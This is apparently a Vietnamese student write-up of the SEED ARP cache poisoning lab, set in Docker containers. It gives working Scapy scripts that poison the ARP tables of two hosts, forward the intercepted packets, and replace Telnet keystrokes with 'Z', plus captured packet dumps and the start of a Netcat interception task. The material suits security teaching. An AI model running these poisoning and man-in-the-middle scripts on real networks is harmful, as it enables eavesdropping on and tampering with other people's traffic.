$ docker psCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES3437aad8a02c handsonsecurity/seed-ubuntu:large "/bin/sh -c /bin/bash" 7 minutes ago Up 7 minutes M-10.9.0.105a2bb3345a540 handsonsecurity/seed-ubuntu:large "bash -c ' /etc/init…" 7 minutes ago Up 7 minutes A-10.9.0.59b1770497c38 handsonsecurity/seed-ubuntu:large "bash -c ' /etc/init…" 7 minutes ago Up 7 minutes B-10.9.0.6
Địa chỉ IP và MAC của interface eth0 trên từng host:
Host
IP
MAC
M
10.9.0.105
02:42:0a:09:00:69
A
10.9.0.5
02:42:0a:09:00:05
B
10.9.0.6
02:42:0a:09:00:06
Host M được dùng để triển khai man-in-the-middle (MITM) attack.
Do cần thay đổi các tham số của kernel lúc runtime (sử dụng sysctl) chẳng hạn như cho phép thực hiện IP forwarding, ta cần cấp đặc quyền cho container:
privileged: true
Bridge interface trên hosting machine là br-c648601fd9d0.
Task 1: ARP Cache Poisoning
Mục tiêu của task này là thực hiện ARP cache poisoning1.
Ví dụ xây dựng gói tin ARP sử dụng Scapy:
from scapy.all import *E = Ether()A = ARP()A.op = 1 # 1 for ARP request; 2 for ARP replypkt = E/Asendp(pkt)
Nếu trường không được thiết lập thì giá trị mặc định ở cột thứ 3 sẽ được sử dụng.
Để thực hiện ARP cache poisoning, ta cần thêm vào ARP table của host A một entry giả mạo giúp ánh xạ địa chỉ IP của host B sang địa chỉ MAC của host M.
Chúng ta có thể sử dụng câu lệnh arp -n để xem ARP table của host. Ví dụ:
$ arp -nAddress HWtype HWaddress Flags Mask Iface10.0.2.1 ether 52:54:00:12:35:00 C enp0s310.0.2.3 ether 08:00:27:48:f4:0b C enp0s3
Để xóa một entry cho địa chỉ IP a.b.c.d, dùng câu lệnh arp -d a.b.c.d.
Task 1.A (using ARP request)
Trước tiên, ta sẽ xem xét cấu trúc của một gói tin ARP request bất kỳ. Giả sử ta cần phân giải địa chỉ IP của default gateway (10.9.0.1), ta xây dựng gói tin như sau:
$ docker exec -it A-10.9.0.5 arp -nAddress HWtype HWaddress Flags Mask Iface10.9.0.6 ether 02:42:0a:09:00:69 C eth
Có thể thấy, địa chỉ MAC của host B ở trong ARP table đã thay thành địa chỉ MAC của host M (02:42:0a:09:00:69 thay vì 02:42:0a:09:00:06). Điều này đồng nghĩa với việc chúng ta đã tấn công thành công.
Fail
Trong trường hợp không có entry nào chứa địa chỉ IP của host B ở trong ARP table của host A: tấn công không được. Có thể là do hệ điều hành đã cấu hình để hủy gói tin unsolicited ARP.
Kiểm tra tunable arp_accept của interface eth0 thì quả thật như vậy:
Ngược lại, nếu trong ARP table không có entry nào chứa địa chỉ IP của host B thì việc tấn công sẽ thất bại.
Note
Tất nhiên, nếu bật tunable arp_accept lên thì ta vẫn có thể tạo được entry ở trong ARP table.
Task 2: MITM Attack on Telnet Using ARP Cache Poisoning
Host A và B sử dụng Telnet để nói chuyện với nhau và host M muốn can thiệp vào cuộc nói chuyện đó:
Từng container đều có một tài khoản Telnet với username là seed và password là dees.
Step 1 (Launch the ARP Cache Poisoning attack)
Thực hiện tấn công ARP cache poisoning trên cả A và B sao cho địa chỉ IP của B trong ARP table của A và địa chỉ IP của A trong ARP table của B đều được phân giải thành địa chỉ MAC của M.
Viết hàm để tấn công ARP cache poising vào host A và host B như sau:
M_MAC = "02:42:0a:09:00:69"A_IP = "10.9.0.5"B_IP = "10.9.0.6"ip_pool = [A_IP, B_IP]def poison(): ip_pool_len = len(ip_pool) for i in range(0, ip_pool_len): pkt = Ether(src=M_MAC, dst=ETHER_BROADCAST) / ARP( hwlen=6, plen=4, op=1, hwsrc=M_MAC, psrc=ip_pool[ip_pool_len - i - 1], hwdst=ETHER_BROADCAST, pdst=ip_pool[i], ) pkt.show() sendp(pkt)
Có thể thấy, hàm trên sử dụng gói tin ARP request để tấn công.
Ta chạy hàm trên mỗi 5 giây để đảm bảo entry giả mạo trong ARP table của host A và host B không bị thay thế:
Trước khi thực hiện, cần tắt tính năng IP forwarding của host M:
sysctl net.ipv4.ip_forward=0
Khi ping từ host A đến host B, ta thu được traffic như sau:
Ngoài những gói tin ICMP thì có xuất hiện một vài gói tin ARP request. Tất nhiên, nếu chúng ta tắt script trên thì entry giả mạo ở trong ARP table của các host sẽ bị thay thế:
Khi chạy script liên tục thì gói tin ICMP echo request gửi từ A đến B sẽ không có phản hồi:
Sau một hồi giằng co thì entry giả mạo của host B ở trong ARP table của host A cũng bị thay thế:
Khi đó, sẽ có các gói tin echo reply trả về.
Nếu giảm thời gian delay giữa các lần gửi gói tin ARP giả mạo xuống khoảng 1 giây thì entry giả mạo ít bị thay thế hơn.
Step 3 (Turn on IP forwarding)
Bật tính năng IP forwarding và thực hiện ping từ host A đến host B, ta thấy host A có nhận được các gói tin ICMP echo reply từ host B:
root@d08b335795fb:/# ping 10.9.0.6PING 10.9.0.6 (10.9.0.6) 56(84) bytes of data.64 bytes from 10.9.0.6: icmp_seq=1 ttl=63 time=0.185 ms64 bytes from 10.9.0.6: icmp_seq=2 ttl=63 time=0.046 ms64 bytes from 10.9.0.6: icmp_seq=3 ttl=63 time=0.070 ms64 bytes from 10.9.0.6: icmp_seq=4 ttl=63 time=0.045 ms
Xét một gói tin ICMP echo request có sequence number là 3:
Gói tin này có địa chỉ MAC nguồn là của host A còn địa chỉ MAC đích là của host M.
Theo sau đó là cũng là một gói tin ICMP echo request có sequence number là 3:
Tuy nhiên, địa chỉ MAC nguồn là của host M còn địa chỉ MAC đích là của host B.
Như vậy, host M đóng vai trò như là một proxy giữa host A và host B.
Gói tin ICMP echo reply cũng được trả về cho host M rồi mới được chuyển tiếp cho host B:
Step 4 (Launch the MITM attack)
Giả sử host A là Telnet client còn host B là Telnet server. Bước này yêu cầu ta thay thế bất cứ phím nào mà host A gửi đến host B thành một ký tự bất kỳ (chẳng hạn như Z).
Đầu tiên, ta vẫn bật tính năng IP forwarding để host A và B thiết lập kết nối Telnet:
sysctl net.ipv4.ip_forward=1
Tắt IP forwarding rồi thử nhập ký tự a vào terminal của host A thì không thấy hiển thị lại ký tự vừa nhập. Lý do là vì sau khi tắt IP forwarding, gói tin từ host A đến host B không còn được chuyển tiếp bởi host M.
Do không có gói tin ACK cho gói tin TCP đã gửi, host A sẽ liên tục gửi lại gói tin:
Ngoài ra, do không nhận được gói tin từ host A, host B cũng không trả về gói tin có chứa payload để host A hiển thị ra terminal.
Như vậy, trước tiên ta cần thực hiện việc chuyển tiếp gói tin từ A đến B. Cụ thể, ta sẽ lắng nghe các gói tin TCP từ host A và host B trên interface eth0 của host M rồi thực hiện chuyển tiếp:
from scapy.all import *from scapy.layers.inet import Ether, IPMAC_M = "02:42:0a:09:00:69"IP_A = "10.9.0.5"MAC_A = "02:42:0a:09:00:05"IP_B = "10.9.0.6"MAC_B = "02:42:0a:09:00:06"def spoof_pkt(pkt): if pkt[IP].src == IP_A and pkt[IP].dst == IP_B: pkt[Ether].src = MAC_M pkt[Ether].dst = MAC_B pkt.show() sendp(pkt)pkt = sniff(iface="eth0", filter=f"tcp and not (ether src {MAC_M})", prn=spoof_pkt)
Chạy script trên thì ta thu được các gói tin chuyển tiếp từ host M sang host B như sau:
Mỗi gói tin chuyển tiếp sẽ tương ứng với một gói tin mà host A gửi. Do host A thực hiện gửi lại các gói tin nên có nhiều gói tin chuyển tiếp.
Tuy nhiên, ta thấy rằng host B không phản hồi lại gói tin có chứa payload. Điều này có thể là do ta xây dựng gói tin chuyển tiếp bị sai và host B không chấp nhận. Sửa lại hàm spoof_pkt() như sau:
def spoof_pkt(pkt): if pkt[IP].src == IP_A and pkt[IP].dst == IP_B: pkt[Ether].src = MAC_M pkt[Ether].dst = MAC_B del pkt[IP].chksum del pkt[TCP].chksum sendp(pkt)
Có thể thấy, ta thêm 2 dòng xóa thuộc tính checksum của IP và TCP. Các giá trị bị xóa này sẽ được Scapy tự tính toán lại khi gửi gói tin.
Chạy script trên và ta thu được gói tin phản hồi từ host B ở trong Wireshark như sau:
Việc tiếp theo cần làm là chuyển tiếp gói tin từ host B đến host A:
def spoof_pkt(pkt): if pkt[IP].src == IP_A and pkt[IP].dst == IP_B: pkt[Ether].src = MAC_M pkt[Ether].dst = MAC_B del pkt[IP].chksum del pkt[TCP].chksum sendp(pkt) elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A: pkt[Ether].src = MAC_M pkt[Ether].dst = MAC_A del pkt[IP].chksum del pkt[TCP].chksum sendp(pkt)
Chạy script trên thì thấy ký tự nhập vào terminal của host A đã được hiển thị lại.
Note
Lưu lý là ta chỉ chuyển tiếp các gói tin đi từ A đến B hoặc từ B đến A. Tất cả các gói tin TCP khác thỏa mãn filter ở trên đều được chuyển tiếp.
Viết gọn script lại như sau:
def set_pkt_properties(pkt, src_mac, dst_mac): pkt[Ether].src = src_mac pkt[Ether].dst = dst_mac del pkt[IP].chksum del pkt[TCP].chksumdef spoof_pkt(pkt): if pkt[IP].src == IP_A and pkt[IP].dst == IP_B: set_pkt_properties(pkt, MAC_M, MAC_B) sendp(pkt) elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A: set_pkt_properties(pkt, MAC_M, MAC_A) sendp(pkt)
Việc cuối cùng mà ta cần làm là thay thế payload ở trong gói tin gửi từ host A đến host B thành ký tự Z:
def replace_payload(pkt): if pkt[TCP].payload and pkt[TCP].payload.load: pkt[TCP].payload.load = "Z"def spoof_pkt(pkt): if pkt[IP].src == IP_A and pkt[IP].dst == IP_B: set_pkt_properties(pkt, MAC_M, MAC_B) replace_payload(pkt) sendp(pkt) elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A: set_pkt_properties(pkt, MAC_M, MAC_A) sendp(pkt)
Chạy script trên rồi nhập ký tự bất kỳ vào terminal của host A (đang mở Telnet session đến host B) thì bị thay thế thành ký tự Z như sau:
seed@b34e96d7fb20:~$ ZZZZZZ
Gói tin giả mạo mà host M gửi đến host B:
###[ Ethernet ]### dst = 02:42:0a:09:00:06 src = 02:42:0a:09:00:69 type = IPv4###[ IP ]### version = 4 ihl = 5 tos = 0x10 len = 53 id = 33349 flags = DF frag = 0 ttl = 64 proto = tcp chksum = 0xa451 src = 10.9.0.5 dst = 10.9.0.6 \options \###[ TCP ]### sport = 43422 dport = telnet seq = 3542977659 ack = 173649922 dataofs = 8 reserved = 0 flags = PA window = 249 chksum = 0x5d00 urgptr = 0 options = [('NOP', None), ('NOP', None), ('Timestamp', (2693507656, 4262043141))]###[ Raw ]### load = 'Z'
Task 3: MITM Attack on Netcat Using ARP Cache Poisoning
Task này tương tự như task 2 nhưng host A và host B nói chuyện với nhau thông qua Netcat thay vì Telnet. Ngoài ra, cần thay thế tên của chúng ta ở trong các đoạn tin nhắn bằng chuỗi các chữ A có cùng độ dài (nếu không thì sẽ làm xáo trộn sequence number của TCP cũng như là toàn bộ kết nối TCP).
Host B sẽ là Netcat server còn host A sẽ là Netcat client.
Info
Đối với Netcat, một dòng message sẽ tương ứng với một gói tin TCP (trong khi Telnet thì một ký tự tương ứng với một gói tin TCP).
Trước tiên, ta cũng bật IP forwarding để host A và host B thiết lập kết nối Netcat. Gói tin trao đổi dữ liệu của Netcat có cấu trúc tương tự với gói tin Telnet:
###[ Ethernet ]### dst = 02:42:0a:09:00:69 src = 02:42:0a:09:00:05 type = IPv4###[ IP ]### version = 4 ihl = 5 tos = 0x0 len = 55 id = 39266 flags = DF frag = 0 ttl = 64 proto = tcp chksum = 0x8d42 src = 10.9.0.5 dst = 10.9.0.6 \options \###[ TCP ]### sport = 35864 dport = 9090 seq = 2136258570 ack = 1160915117 dataofs = 8 reserved = 0 flags = PA window = 251 chksum = 0x1446 urgptr = 0 options = [('NOP', None), ('NOP', None), ('Timestamp', (1568420966, 1639073050))]###[ Raw ]### load = 'ls\n'